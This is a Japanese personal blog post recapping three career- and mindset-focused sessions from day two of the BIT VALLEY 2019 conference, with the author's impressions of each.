BIT VALLEY 2019で印象に残った3つのセッションとその感想

はじめに

BIT VALLEY 2019に参加しました。この記事では, 私が印象に残った3つのセッションを紹介します。私は後半の1日しか参加していないため, 2日目のセッションについてのみ書きます。

また, この記事は私なりに咀嚼した概要です。そのため, 誤った捉え方をしている部分があれば訂正をお願いします。

もくじ

BIT VALLEYとは

2019年09月13日(金)〜09月14日(土)にかけて開催されたカンファレンスイベントです。ホームページには以下のように書かれています。

「BIT VALLEY 2019」は、技術だけでは成しえない、人の感性に訴え、共感を呼ぶサービスを創造するために必要な、気づきを得られるカンファレンスイベントです。

要するに, 「なに」で創造するかではなく 「どのように」創造するかに焦点をあてたカンファレンスイベント です。

「よい」だけでは足りない! –世界に飛び出していくために必要なマインドセット

スピーカーは澤 円(@madoka510)さんでした。

マインドセット更新の必要性

世界に存在する全データのうち, 90%が直近2年で生まれたデータ です。これほど頻繁に変わるデータに対応するために, 私たちもマインドセットを更新する必要があります。

「よい」は変化する

「よい」という言葉があります。一昔前は, 品質の高いモノが「よい」モノとされていました。実際に, 日本はそのおかげで高いマーケットシェアを誇っていました。しかし, 今は違います。高品質でも価格が高いモノは今のマーケットニーズに反しているためです。したがって, 過去の「よい」考え方だけでは, イノベーションは生まれません

「知識・経験」×「スピード」のマトリクスによる人の分類

では, どのような人になるべきなのでしょうか?それを理解するために, 人を「知識・経験」と「スピード」の2軸で分類します。すると, 以下のようになります。

f:id:task4233:20190915124137p:plain

左上から反時計回りに見ていきます。

「賢いが遅い」人は, 組織の成長を阻害します。いわゆる「口だけの人」です。日本に多いタイプのようです。
「愚かで遅い」人は, 組織を停滞させます。いわゆる「どうしようもないノロマ」です。

「愚かで速い」人は, 変化への対応に弱いです。いわゆる「タスクワーカー」です。単純作業がメインなので, 技術革新によって消えていく可能性が高いです。また, 他の場所に移動しづらいのも特徴です。

したがって, 「賢くて速い」人が狙い目です。

「賢くて速い」人になるためには

「賢くて速い」人になるためには, あなたが「どうありたいか(being)」を考えてください。 人は, 「どうありたいか(being)」よりも「何をすべきか(doing)」を考えがちです。

「どうありたいか(being)」を考える過程で重要なことが3つあります。

1つ目は, 押し付けられている価値観を取り払うこと です。最も簡単なやり方は, 「新しく何をやるか」ではなく 「新しく何をやめるか」 を考えることです。

2つ目は, どんどんアウトプットすること です。アウトプットによって得られるフィードバックは高品質なインプットに繋がります。アウトプットのやり方に困ったら, 質問をしてください

質問は, 自分向けにカスタマイズされた情報を得られる立派なアウトプットです。

3つ目は, もっと心を自由にすること です。人生は1回きりです。1日は等しく24時間です。 嫌ならやめましょう。

感想

最も印象に残っているのは,

人は「どうありたいか(being)」よりも「何をすべきか(doing)」を考えがち

という部分です。私は 「〜をする」という小目標を立てていた時期があったので刺さりました。その時は日を跨ぐにつれ停滞していったことをよく覚えています。これは, 「どうありたいか(being)」よりも「何をすべきか(doing)」を考えすぎた結果だなと感じました。

クラウド時代のエンジニア生存戦略

スピーカーは高橋 慎一さんでした。

www.slideshare.net

エンジニア編(習慣づくり)とプレイングマネージャ編(現場づくり)の2部構成です。

エンジニア編(習慣づくり)

エンジニアの習慣づくりに重要なことは4つあります。

1. キャリアパスを見据えること

言い換えれば, 市場が求める人材を理解することです。

では,今クラウド業界で必要とされている人材はどのような人材でしょうか?その答えは, 複数の分野がある程度出来て, かつ尖った部分を2・3個持っている人材 です。

例えば, AWSでは100を優に超える膨大なサービスが提供されています。そのため, その一部しか使いこなせないΠ型の人*1は市場が求める人材とは言えません。したがって, クラウド業界では, より一層複数の分野に知見を養う必要があります。

2. インプットを大事にすること

アウトプットをするためには, インプットが必要不可欠です。ただし, 継続することが重要なので, インプットは無理のないボリュームで行ってください。例えば, はてブ*2タイトルの流し読みや本屋に足を運ぶことが手軽で良いでしょう。

3. 目標設定を心がけること

2〜3年単位の長期目標から逆算して, 1年単位の中期目標や2〜3ヶ月単位の短期目標を設定してください。ただし, 各目標で見据えるものは異なります。

具体的に, 長期目標は 自分が望むキャリア変化を見据えて設定してください。 中期目標は, そのキャリア変化をもたらすための環境変化を見据えて設定してください。 短期目標はその環境変化をもたらすためのスキル変化を見据えて設定してください。そうすることで, ブレない技術習得サイクルを築くことが出来ます。

ここで, 長期目標と関連のないことを短期目標に設定しないでください。例えば, カレーの作り方を考えている時に, ポン酢を作れる必要はないですよね。

4. 小さな成功体験を作ること

無作為にあなたを含めた100人を抽出したとき, あなたが一番だと誇れるものはありますか? そこで誇れるような成功体験を作ってください

小さなことでも他分野のことでも問題ありません。重要なのは, 1つでも成功体験があることです。なぜなら, 1つでも成功体験がある人は次に繋がりやすいためです。その結果, セルフイメージが高く, 成功癖がついた人になっていきます。

プレイングマネージャ編(現場づくり)

プレイングマネージャとは, この記事に以下のように書かれています。

プレイングマネージャーとは、現場の最前線で売上や利益に貢献する実務を担当する一方、部下の育成や指導を行う管理職を兼任する人物を指します。

いわゆる, 中間管理職です。このプレイングマネージャの現場づくりに重要なことは3つあります。

1. 「できない理由」を探さないこと

「できる理由」を考えてください 。人はやる前から, 無意識のうちに前提条件を作りがちです。そのために, あなた自身を含む従業員で「どうやったらできるか」の思考訓練*3を積んでください。

2. 挑戦できる環境を作ること

メンバーが業務中にスキルアップ可能な「挑戦できる環境」を作ってくださいクラウド業界は早い段階で小さな失敗を繰り返せる挑戦にはもってこいの環境です。そのため, 常に挑戦できる環境づくりをしてください。例えば, プロジェクトごとで別の言語を使用したり, マネージャ自ら挑戦する姿勢を見せたりといった働きかけができます。

3. 視座を下げて考えること

相手(部下)の立場に立った時に, 自分がどう見えるかを適切に振り返る機会を作ってください。考える際に相手の興味・関心を意識するとよいです。

クラウド時代を生き抜くために

以上7つがクラウド時代に重要なことです。

これらを総括して, クラウド時代を生き抜くために 挑戦できる環境に飛び込んでください

感想

BIT VALLEYの趣旨である「どのように」創造するかを体現したようなセッションでした。このセッションは, エンジニア編では4つ, プレイングマネージャ編では3つのポイントを言語化していました。言語化した情報は意識に留めやすく, 人にも伝えやすいのでありがたかったです。

世界中の開発者と共にモノづくりをするために必要な6つのこと

スピーカーは田中 洋一郎(@yoichiro)さんでした。

speakerdeck.com

前座は抜きにします。タイトルにもある「世界中の開発者と共にモノづくりをするために必要な6つのこと」は以下の通りです。

  • 素振りを欠かさないこと
  • 居場所を探し続けること
  • 外部とのつながりを持つこと
  • 何かを作って公開すること
  • カッとなったときにやること
  • 英語に屈しないこと

1つずつ深掘りします。

1. 素振りを欠かさないこと

基本をこなしながら, 試行錯誤を繰り返して引き出しの数を増やしてください

素振りとは「基本をこなす」という意味合いです。人は何も土台のないところから閃くことはありません。そのため, 基本→応用→閃きの順に構成していくことが必要です。言い換えれば, 土台→工夫→未知となります。その過程で, 素振りを欠かさないでおけば, 自分の引き出しが増えていきます。それにより, 突然降ってきたタスクに対応しやすくなります。

引き出しの数を増やすためには, 様々なことに少しずつチャレンジしてください。オススメはチュートリアルをやることです。チュートリアルが余裕ならベータ版に触ってみるのも良いです。

2. 居場所を探し続けること

どこにいれば自分の信じる次のステージに行けるかを考えてください

ハードウェアやサービスは日々刻々と変化しています。それに応じて属する場所を変えていくと良いでしょう。

3. 外部とのつながりを持つこと

広い視野を持つために, 身近なことから始めてください。 始めるのは簡単なことからで良いです。

最初は, 手軽に始められる勉強会に参加しましょう。そこで手を動かしてアウトプットします。時には身内に対して情報を共有するのも良いでしょう。それを繰り返して, 徐々に影響範囲を広めていきます。その過程で, よりアクティブで, より詳しく, より尊敬できる多くの人々と出会います。そして, 迷ったら即相談できるような仲間ができていきます。

気がつくと, 自分の周りに日本人がいなくなります。なぜなら, 自分より詳しい日本人がいなくなるためです。その時, あなたは「多様性」の中に自分がいるでしょう。

4. 何かを作って公開すること

何かを自分で作ってください。 そして, 作ったものを公開しましょう。公開すれば, その制作物が独り歩きして, 人や情報を集めてくれます。

5. カッとなったときにやること

カッとなったとき*4に, 積極的に行動してください

積極的に取り組むと事故の発生率は上がります。ただし, 優秀な人ほど事故も経験しています。すなわち, 優秀さとはどれだけ失敗しそれをリカバリーしたかということです。日頃から積極的に行動し, 事故を経験すればするほど, そのあとの伸び率は高いでしょう。

6. 英語に屈しないこと

得意なことに英語を取り入れてください

具体的には, 様々なチュートリアルを英語で学んだり, GitHubリポジトリを英語のみで書いてみたり, 作ってみたモノを英語で宣伝してみたり, stackoverflowで回答してみたりと, 様々です。

世界には第二外国語が英語の人が多いので, 拙い英語なのはお互い様です。お互い興味のあることなら何度でも聞き直して問題ありません。

この繰り返しで成功体験を積み上げることで, あなたの自信につながります。

感想

このセッションは私の考えと似た部分があったので, 共感できる部分が多かったです。それに加えて, 私が出来ていないことが言語化されていて, モヤモヤしていた部分が少し晴れました。残りのモヤモヤは, 実践して自信をつけて解消していくつもりです。

全体を通して

個々のセッションの方向性は違えど, よく耳にした内容が3つあります。

1つ目は, 「アウトプットすること」 です。これが最も多かったように感じました。アウトプットは成果を公開するだけでなく, 情報が集まるきっかけになったり, 情報を整理するきっかけになったりします。そのため, 小さなことでもアウトプットしていくことは重要だと感じました。

2つ目は, 「気になったらやってみること」 です。「カッとなったときにやる」や「違和感をきっかけにモノを作る」といったように表現は違えど, 根は同じであると考えています。私は興味のあることにひたすら取り組んでいるので, この姿勢を続けていこうと考えています。

3つ目は, 「成功体験を作ること」 です。成功体験はあなたに自信をもたらします。そのため, 「どのように創造するか」において重要な要因の1つなのではないでしょうか?私は小さな成功体験はあるものの, 1番秀でていると誇れるほどの成功体験は未だにないので, 徐々に積み上げていくつもりです。

おわりに

以上が参加記録になります。

全体的に刺さったセッションが多く, 気づけたことの多いカンファレンスでした。 そのため是非来年も参加したいと思います。

学生は無料だったので, 興味のある方は来年のBit Valleyに参加してはいかがでしょうか?

*1:少数深掘りしているものの, 他の知識は平均以下の人のこと

*2:はてなブックマーク

*3:常にそのことを考えるような意識を持つこと

*4:何かトラブルが起きた時など